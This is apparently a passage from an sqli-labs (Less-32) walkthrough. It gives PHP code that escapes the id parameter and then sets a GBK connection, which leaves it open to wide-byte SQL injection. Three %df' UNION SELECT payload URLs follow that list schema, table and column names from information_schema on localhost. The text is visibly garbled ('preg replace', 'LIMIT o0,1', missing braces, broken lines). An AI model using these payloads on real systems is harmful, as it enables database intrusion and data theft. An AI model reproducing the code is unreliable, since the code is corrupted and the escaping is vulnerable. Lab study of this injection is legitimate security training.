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function check_addslashes($string)
{
$string = preg replace('/'. preg_quote('\\"') .'/', "\\\\\\", $string); //escape any backslash
$string = preg_replace('/\'/i', "\\\'', $string); //escape single quote with a
backslash
$string = preg_replace('/\"/"', "\\\"", $string); //escape double quote with a
backslash

return $string;

$id=check _addslashes($ GET['id']);

mysql query("SET NAMES gbk");

$sql="SELECT * FROM users WHERE id='$id' LIMIT o0,1";
print_r(mysql _error());
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function check addslashes($string)

{

$string= addslashes($string);

return $string;

$id=check addslashes($ GET['id']);

mysql_query("SET NAMES gbk");

$sql="SELECT * FROM users WHERE id='$id' LIMIT o0,1";
print_r(mysql_error());
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http://127.0.0.1/sqlilab/Less-32/?id=-1%df"' union select 1, (select group_concat(schema_name) from information_sc
hema.schemata),3--+
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http://127.0.0.1/sqlilab/Less-32/?id=-1%df"' union select 1, (select group_concat(table_name) from information_sch
ema.tables where table_schema=(select database())),3--+
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http://127.0.0.1/sqlilab/Less-32/?id=-1%df"' union select 1, (select group_concat(column_name) from information_sc
hema.columns where table_schema=(select database()) and table name=(select table name from information_schema.ta
bles where table_schema=(select database()) limit 3,1)),3--+
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